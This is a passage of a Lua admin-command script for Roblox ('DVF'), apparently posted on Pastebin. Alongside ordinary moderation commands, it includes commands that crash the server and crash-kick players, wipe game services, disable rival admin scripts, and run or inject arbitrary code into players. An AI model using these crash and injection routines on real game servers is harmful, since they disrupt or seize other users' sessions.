  1667. table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1668. end
  1669. end
  1670. end)
  1671. ypcall(function()
  1672. for _,x in pairs(v.Backpack:GetChildren()) do
  1673. if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1674. table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1675. end
  1676. end
  1677. end)
  1678. ypcall(function()
  1679. for _,x in pairs(v.PlayerGui:GetChildren()) do
  1680. if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1681. table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1682. end
  1683. end
  1684. end)
  1685. end
  1686. if #LocalScripts > 0 then
  1687. for _,v in pairs(LocalScripts) do
  1688. Ping(v, Speaker)
  1689. end
  1690. else
  1691. Ping("No Local Scripts Found", Speaker, 5)
  1692. end
  1693. end)
  1694.  
  1695. Command("LDisable", 3, "Disables A Local Script", function(Msg, Speaker)
  1696. local Split = GetSplit(Msg)
  1697. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  1698. local ScriptName = Msg:sub(Split + 1)
  1699. local FoundLocal = false
  1700. for _,name in pairs(PlrTab) do
  1701. ypcall(function()
  1702. for _,v in pairs(name.Character:GetChildren()) do
  1703. if string.find(v.Name:lower(), ScriptName) then
  1704. if v:IsA("Script") or v:IsA("LocalScript") then
  1705. v.Disabled = true
  1706. v:Destroy()
  1707. FoundLocal = true
  1708. Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  1709. end
  1710. end
  1711. end
  1712. end)
  1713. ypcall(function()
  1714. for _,v in pairs(name.Backpack:GetChildren()) do
  1715. if string.find(v.Name:lower(), ScriptName) then
  1716. if v:IsA("Script") or v:IsA("LocalScript") then
  1717. v.Disabled = true
  1718. v:Destroy()
  1719. FoundLocal = true
  1720. Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  1721. end
  1722. end
  1723. end
  1724. end)
  1725. ypcall(function()
  1726. for _,v in pairs(name.PlayerGui:GetChildren()) do
  1727. if string.find(v.Name:lower(), ScriptName) then
  1728. if v:IsA("Script") or v:IsA("LocalScript") then
  1729. v.Disabled = true
  1730. v:Destroy()
  1731. FoundLocal = true
  1732. Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  1733. end
  1734. end
  1735. end
  1736. end)
  1737. if FoundLocal == false then
  1738. Ping("Local Script Not Found", Speaker, 5)
  1739. end
  1740. end
  1741. end)
  1742.  
  1743. Command("FClean", 3, "Fully Cleans The Server", function(Msg, Speaker)
  1744. for _,v in pairs(game:GetChildren()) do
  1745. ypcall(function()
  1746. if v.Name ~= "Workspace" and v.Name ~= "Players" and v.Name ~= "NetworkServer" then
  1747. for _,a in pairs(v:GetChildren()) do
  1748. ypcall(function()
  1749. a:Destroy()
  1750. end)
  1751. end
  1752. elseif v.Name == "Players" then
  1753. for _,plr in pairs(v:GetPlayers()) do
  1754. Clear(plr)
  1755. end
  1756. end
  1757. end)
  1758. end
  1759. Clean()
  1760. Fixl()
  1761. Ping("Fully Cleaned", Speaker, 5)
  1762. end)
  1763.  
  1764. Command("Clean", 1, "Lightly Cleans The Server", function(Msg, Speaker)
  1765. LClean()
  1766. Fixl()
  1767. Ping("Lightly Cleaned", Speaker, 5)
  1768. end)
  1769.  
  1770. Command("Reset", 2, "Resets A Player", function(Msg, Speaker)
  1771. local PlrTab = getPlayer(Speaker, Msg)
  1772. if #PlrTab > 0 then
  1773. for _,v in pairs(PlrTab) do
  1774. ypcall(function()
  1775. v:LoadCharacter()
  1776. Ping("Reset "..v.Name, Speaker, 5)
  1777. end)
  1778. end
  1779. end
  1780. end)
  1781.  
  1782. Command("Home", 1, "Brings The Speaker Home", function(Msg, Speaker)
  1783. repeat wait() until Speaker.Character:findFirstChild("Torso")
  1784. if Work:findFirstChild("Base") then
  1785. Speaker.Character.Torso.CFrame = Work.Base.CFrame * CFrame.new(0, 5, 0)
  1786. else
  1787. Speaker.Character.Torso.CFrame = CFrame.new(0, 5, 0)
  1788. end
  1789. Ping("Brought "..Speaker.Name.." Home", Speaker, 5)
  1790. end)
  1791.  
  1792. Command("Freeze", 3, "Freeze's A Player", function(Msg, Speaker)
  1793. local PlrTab = getPlayer(Speaker, Msg)
  1794. if #PlrTab > 0 then
  1795. for _,v in pairs(PlrTab) do
  1796. ypcall(function()
  1797. v.Character.Torso.Anchored = true
  1798. Ping("Froze "..v.Name, Speaker, 5)
  1799. end)
  1800. end
  1801. end
  1802. end)
  1803.  
  1804. Command("Thaw", 3, "Thaw's A Player", function(Msg, Speaker)
  1805. local PlrTab = getPlayer(Speaker, Msg)
  1806. if #PlrTab > 0 then
  1807. for _,v in pairs(PlrTab) do
  1808. ypcall(function()
  1809. for _,v2 in pairs(v.Character:GetChildren()) do
  1810. ypcall(function()
  1811. v.Anchored = false
  1812. end)
  1813. end
  1814. Ping("Thawed "..v.Name, Speaker, 5)
  1815. end)
  1816. end
  1817. end
  1818. end)
  1819.  
  1820. Command("FF", 3, "Gives A Player A ForceField", function(Msg, Speaker)
  1821. local PlrTab = getPlayer(Speaker, Msg)
  1822. if #PlrTab > 0 then
  1823. for _,v in pairs(PlrTab) do
  1824. ypcall(function()
  1825. Instance.new("ForceField", v.Character)
  1826. end)
  1827. end
  1828. end
  1829. end)
  1830.  
  1831. Command("UnFF", 3, "Removes A Player's ForceField", function(Msg, Speaker)
  1832. local PlrTab = getPlayer(Speaker, Msg)
  1833. if #PlrTab > 0 then
  1834. for _,v in pairs(PlrTab) do
  1835. ypcall(function()
  1836. RemObj(v.Character, "ForceField")
  1837. end)
  1838. end
  1839. end
  1840. end)
  1841.  
  1842. Command("TP", 2, "Teleports A Player To Another Player", function(Msg, Speaker)
  1843. local Split = GetSplit(Msg)
  1844. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  1845. local PlrTab2 = getPlayer(Speaker, Msg:sub(Split + 1))
  1846. if #PlrTab > 0 and #PlrTab2 > 0 then
  1847. for i,v in pairs(PlrTab) do
  1848. ypcall(function()
  1849. for _,v2 in pairs(PlrTab2) do
  1850. ypcall(function()
  1851. v.Character.Torso.CFrame = v2.Character.Torso.CFrame * CFrame.new(0, 5 * i, 0)
  1852. Ping("Teleported "..v.Name.." To "..v2.Name, Speaker, 5)
  1853. end)
  1854. end
  1855. end)
  1856. end
  1857. end
  1858. end)
  1859.  
  1860. Command("Explorer", 3, "Opens An Object Explorer", function(Msg, Speaker)
  1861. MakeExplorer(Speaker)
  1862. end)
  1863.  
  1864. Command("Info", 0, "Shows Information About DVF", function(Msg, Speaker)
  1865. wait()
  1866. Dismiss(Speaker)
  1867. NumBanned = 0
  1868. NumCmds = 0
  1869. for i = 1, #Rankings do
  1870. if Rankings[i].Rank < 0 then
  1871. NumBanned = NumBanned + 1
  1872. end
  1873. end
  1874. for i,v in pairs(Commands) do
  1875. NumCmds = NumCmds + 1
  1876. end
  1877. Ping("Admin Name: Dea¬th V¬ia Fl¬ipflop", Speaker)
  1878. Ping("DVF Admin Created By: Fl¬ip¬fl¬op¬84¬21", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..string.reverse("1248polfpilf"))
  1879. Ping("Date Started: 18th May 2013", Speaker)
  1880. Ping("Your ID: "..Speaker.userId, Speaker)
  1881. Ping("Total Number Of Players: "..#All2(), Speaker)
  1882. Ping("Total Number Of Commands: "..NumCmds, Speaker)
  1883. Ping("Total Number Of Banned Players: "..NumBanned, Speaker)
  1884. Ping("ShowGarbage", Speaker)
  1885. end)
  1886.  
  1887. Command("ShowR", 0, "Shows All Player Ranks", function(Msg, Speaker)
  1888. Dismiss(Speaker)
  1889. for i,v in pairs(All()) do
  1890. Ping(v.Name.."'s Rank: "..FindRank(v))
  1891. end
  1892. end)
  1893.  
  1894. Command("WS", 2, "Set A Player's WalkSpeed", function(Msg, Speaker)
  1895. local Split = GetSplit(Msg)
  1896. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  1897. local Speed = tonumber(Msg:sub(Split + 1))
  1898. for _,v in pairs(PlrTab) do
  1899. ypcall(function()
  1900. v.Character.Humanoid.WalkSpeed = Speed
  1901. Ping("Set "..v.Name.."'s WalkSpeed To "..tostring(Speed), Speaker)
  1902. end)
  1903. end
  1904. end)
  1905.  
  1906. Command("UnAb", 2, "Removes CBA Anti-Bans", function(Msg, Speaker)
  1907. local RemoveAB = Instance.new("StringValue")
  1908. RemoveAB.Name = "CBA Attachment"
  1909. RemoveAB.Value = [[CBA.override=true;]]
  1910. RemoveAB.Parent = Work
  1911. Ping("Removed All CBA Anti-Bans", Speaker, 5)
  1912. end)
  1913.  
  1914. Command("Injected", 5, "Shows Injected Players", function(Msg, Speaker)
  1915. Dismiss(Speaker)
  1916. for i,v in pairs(Injected) do
  1917. Ping(i, Speaker)
  1918. end
  1919. end)
  1920.  
  1921. Command("UnCba", 3, "Removes CBA Admin", function(Msg, Speaker)
  1922. local RemoveCBA = Instance.new("StringValue")
  1923. RemoveCBA.Name = "CBA Attachment"
  1924. RemoveCBA.Value = [[CBA.remove = false]]
  1925. RemoveCBA.Parent = Work
  1926. Ping("Removed All CBA Admins", Speaker, 5)
  1927. end)
  1928.  
  1929. Command("Shutdown", 4, "Shutdowns The Server", function(Msg, Speaker)
  1930. local function BufferOverflow(object)
  1931. object.DescendantAdded:connect(BufferOverflow)
  1932. Instance.new("IntValue", object)
  1933. end
  1934. BufferOverflow(Game)
  1935. end)
  1936.  
  1937. Command("Kick", 3, "Crash Kicks A Player From The Server", function(Msg, Speaker)
  1938. local PlrTab = getPlayer(Speaker, Msg)
  1939. if #PlrTab > 0 then
  1940. for _,v in pairs(PlrTab) do
  1941. ypcall(function()
  1942. Crash1(v)
  1943. Ping("Crash Kicked "..v.Name, Speaker, 5)
  1944. end)
  1945. end
  1946. end
  1947. end)
  1948.  
  1949. Command("Ban", 4, "Bans A Player From The Server", function(Msg, Speaker)
  1950. local PlrTab = getPlayer(Speaker, Msg)
  1951. if #PlrTab > 0 then
  1952. for _,v in pairs(PlrTab) do
  1953. ypcall(function()
  1954. ChangeRank(v, -1)
  1955. end)
  1956. end
  1957. end
  1958. end)
  1959.  
  1960. Command("JBan", 4, "Permanently Jails A Player", function(Msg, Speaker)
  1961. local PlrTab = getPlayer(Speaker, Msg)
  1962. if #PlrTab > 0 then
  1963. for _,v in pairs(PlrTab) do
  1964. ypcall(function()
  1965. ChangeRank(v, -2)
  1966. end)
  1967. end
  1968. end
  1969. end)
  1970.  
  1971. Command("MBan", 4, "Permanently Mutes A Player", function(Msg, Speaker)
  1972. local PlrTab = getPlayer(Speaker, Msg)
  1973. if #PlrTab > 0 then
  1974. for _,v in pairs(PlrTab) do
  1975. ypcall(function()
  1976. ChangeRank(v, -3)
  1977. end)
  1978. end
  1979. end
  1980. end)
  1981.  
  1982. Command("UnBan", 4, "Un-Bans A Player From The Server", function(Msg, Speaker)
  1983. ypcall(function()
  1984. local PlrTab = getPlayer(Speaker, Msg)
  1985. if #PlrTab > 0 then
  1986. for _,v in pairs(PlrTab) do
  1987. ypcall(function()
  1988. Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
  1989. end)
  1990. end
  1991. end
  1992. local PlrName = ChangeRank(Msg, 0)
  1993. Ping("Un-Banned "..PlrName, Speaker, 5)
  1994. end)
  1995. end)
  1996.  
  1997. Command("Menu", 0, "Brings Up Admin Menu", function(Msg, Speaker)
  1998. Dismiss(Speaker)
  1999. Ping("Commands", Speaker, nil, function()
  2000. Dismiss(Speaker.Name)
  2001. Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
  2002. Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
  2003. Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
  2004. Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
  2005. Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
  2006. Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
  2007. Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
  2008. Ping("Rank 5", Speaker, nil, function() OpenCmds(5, Speaker) end)
  2009. end)
  2010. Ping("Players", Speaker, nil, function()
  2011. ListPlayers(Speaker)
  2012. end)
  2013. end)
  2014.  
  2015. Command("Players", 0, "Brings Up Players", function(Msg, Speaker)
  2016. ListPlayers(Speaker)
  2017. end)
  2018.  
  2019. Command("Exe", 4, "Executes A Source", function(Msg, Speaker)
  2020. local Func,Error = loadstring(Msg)
  2021. getfenv(Func).print = function(...) local Rtn = "" for _,v in pairs({...}) do Rtn = Rtn..tostring(v).."\t" end Ping(Rtn, Speaker) end
  2022. getfenv(Func).Speaker = Speaker
  2023. if Error == nil then
  2024. coroutine.wrap(function()
  2025. Func()
  2026. end)()
  2027. Ping("Executed Script!", Speaker, 5)
  2028. else
  2029. Ping(Error, Speaker, 10)
  2030. end
  2031. end)
  2032.  
  2033. Command("Insert", 5, "Inserts A Local Script Into A Player", function(Msg, Speaker)
  2034. if LS ~= nil then
  2035. local Split = GetSplit(Msg)
  2036. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2037. local LocalSource = Msg:sub(Split + 1)
  2038. if #PlrTab > 0 then
  2039. for _,v in pairs(PlrTab) do
  2040. local Inserted = LS:Clone()
  2041. Inserted.Disabled = true
  2042. Inserted.Parent = v.Backpack or v.Character or v.PlayerGui
  2043. if OwnSource ~= nil and Inserted:findFirstChild(OwnSource) ~= nil then
  2044. Inserted:findFirstChild(OwnSource).Value = v.Name
  2045. end
  2046. Inserted[LSSource].Value = LocalSource
  2047. Inserted.Disabled = false
  2048. end
  2049. end
  2050. else
  2051. Ping("ERROR: Local Script Not Found", Speaker, 5)
  2052. end
  2053. end)
  2054.  
  2055. Command("Ping", 1, "Pings A Message", function(Msg, Speaker)
  2056. Msg = tostring(Msg)
  2057. Ping(Msg, Speaker)
  2058. end)
  2059.  
  2060. Command("Test", 1, "Test's That Admin Is Working", function(Msg, Speaker)
  2061. Dismiss(Speaker)
  2062. for i,v in pairs(getfenv(1)) do
  2063. ypcall(function()
  2064. Ping(tostring(i)..": "..tostring(v), Speaker)
  2065. end)
  2066. end
  2067. end)
  2068.  
  2069. Command("Remove", 5, "Removes The Admin", function(Msg, Speaker)
  2070. Dismiss()
  2071. Removed = true
  2072. for i,v in pairs(getfenv(1)) do
  2073. getfenv(1)[i] = nil
  2074. end
  2075. script.Disabled = true
  2076. end)
  2077.  
  2078. Command("SRank", 5, "Ranks A Player", function(Msg, Speaker)
  2079. local Split = GetSplit(Msg)
  2080. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2081. local Rank = tonumber(Msg:sub(Split + 1))
  2082. if #PlrTab > 0 then
  2083. for _,v in pairs(PlrTab) do
  2084. if v.Name ~= Owner then
  2085. ChangeRank(v, Rank)
  2086. Ping("Set "..v.Name.."'s Rank To "..tostring(Rank), Speaker, 5)
  2087. end
  2088. end
  2089. end
  2090. end)
  2091.  
  2092. --This Admin (DVF) Was Created By flipflop8421 (Creator of iFlip and iFlip V2).
  2093. end)
  2094.  
  2095. if not ok or thang ~= nil then
  2096. Instance.new("Message",script).Text = tostring(ok).." "..tostring(thang)
  2097. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!